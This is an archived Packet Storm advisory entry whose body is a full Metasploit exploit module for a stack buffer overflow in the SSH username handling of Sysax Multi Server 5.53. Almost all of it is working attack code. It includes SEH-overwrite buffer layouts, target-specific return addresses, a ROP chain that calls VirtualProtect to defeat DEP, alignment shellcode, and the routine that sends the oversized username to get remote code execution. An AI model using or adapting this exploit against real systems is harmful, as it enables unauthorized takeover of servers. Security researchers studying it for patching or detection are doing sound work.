Sysax 5.53 SSH Username Buffer Overflow

2012-03-05T00:00:00
ID PACKETSTORM:110422
Type packetstorm
Reporter sinn3r
Modified 2012-03-05T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in Sysax's SSH service. By  
supplying a long username, the SSH server will copy that data on the stack  
without any proper bounds checking, therefore allowing remote code execution  
under the context of the user. Please note that previous versions  
(before 5.53) are also affected by this bug.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Craig Freyman', #Initial discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '79689'],  
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],  
['URL', 'http://www.exploit-db.com/exploits/18535/']  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x3a",  
'StackAdjustment' => -3500  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',  
{  
'Rop' => false,  
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe  
}  
],  
[  
'Sysax 5.53 on Win2K3 SP1/SP2',  
{  
'Rop' => true,  
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 27 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptInt.new('RPORT', [false, 'The target port', 22])  
], self.class)  
end  
  
def load_netssh  
begin  
require 'net/ssh'  
return true  
rescue LoadError  
return false  
end  
end  
  
def get_regular_exploit  
#  
# Align the stack to the beginning of the fixed size payload  
#  
align = "\x54" #PUSH ESP  
align << "\x58" #POP EAX  
align << "\x04\x08" #ADD AL,0x08  
align << "\x8b\x18" #MOV EBX, [EAX]  
align << "\x93" #XCHG EAX,EBX  
align << "\x66\x2d\x10\x04" #SUB AX,0x361  
align << "\x50" #PUSH EAX  
align << "\xc3" #RET  
  
#  
# Our payload limited to 1024+4 bytes  
#  
p = make_nops(4)  
p << payload.encoded  
  
#  
# Craft the buffer like this:  
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]  
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room  
# for the IP length, so the next 9404-byte space will begin at a consistent place.  
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a  
# partial-overwrite to allow a null byte in SEH.  
#  
buf = ''  
buf << rand_text(392, payload_badchars)  
buf << rand_text(20, payload_badchars)  
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20  
buf << p  
buf << align  
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back  
buf << [target.ret].pack('V*')  
  
return buf  
end  
  
def get_rop_exploit  
  
junk = rand_text(4).unpack("L")[0].to_i  
nop = make_nops(4).unpack("L")[0].to_i  
  
# !mona rop -m msvcrt  
p =  
[  
0x77bb2563, # POP EAX # RETN  
0x77ba1114, # <- *&VirtualProtect()  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77bb0c86, # XCHG EAX,ESI # RETN  
0x77bc9801, # POP EBP # RETN  
0x77be2265, # ptr to 'push esp # ret'  
0x77bb2563, # POP EAX # RETN  
0x03C0990F,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb48d3, # POP EBX, RET  
0x77bf21e0, # .data  
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN  
0x77bbfc02, # POP ECX # RETN  
0x77bef001, # W pointer (lpOldProtect) (-> ecx)  
0x77bd8c04, # POP EDI # RETN  
0x77bd8c05, # ROP NOP (-> edi)  
0x77bb2563, # POP EAX # RETN  
0x03c0984f,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb8285, # XCHG EAX,EDX # RETN  
0x77bb2563, # POP EAX # RETN  
nop,  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN  
].pack("V*")  
  
p << payload.encoded  
  
#  
# Similar buffer structure to get_regular_exploit  
#  
buf = ''  
buf << rand_text(392, payload_badchars)  
buf << rand_text(20, payload_badchars)  
buf << rand_text(1012, payload_badchars)  
buf << p  
buf << rand_text(9204-buf.length)  
buf << rand_text(4, payload_badchars)  
buf << [target.ret].pack('V*')  
  
return buf  
end  
  
def exploit  
#  
# Load net/ssh so we can talk the SSH protocol  
#  
has_netssh = load_netssh  
if not has_netssh  
print_error("You don't have net/ssh installed. Please run gem install net-ssh")  
return  
end  
  
#  
# Create buffer based on target (DEP or no DEP)  
# If possible, we still prefer to use the regular version because it's more stable  
#  
if target['Rop']  
buf = get_rop_exploit  
else  
buf = get_regular_exploit  
end  
  
#  
# Send the malicious buffer  
#  
pass = rand_text_alpha(8)  
begin  
print_status("Sending malicious request to #{rhost}:#{rport}...")  
ssh = Net::SSH.start(  
datastore['RHOST'],  
buf,  
{  
:password => pass,  
:port => datastore['RPORT'],  
:timeout => 1  
})  
  
::Timeout.timeout(1) {ssh.close} rescue nil  
  
rescue Errno::ECONNREFUSED  
print_error("Cannot establish a connection on #{rhost}:#{rport}")  
return  
rescue ::Exception => e  
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/  
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")  
return  
end  
end  
  
handler(ssh)  
end  
end  
  
=begin  
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not  
relying on net/ssh.  
=end  
`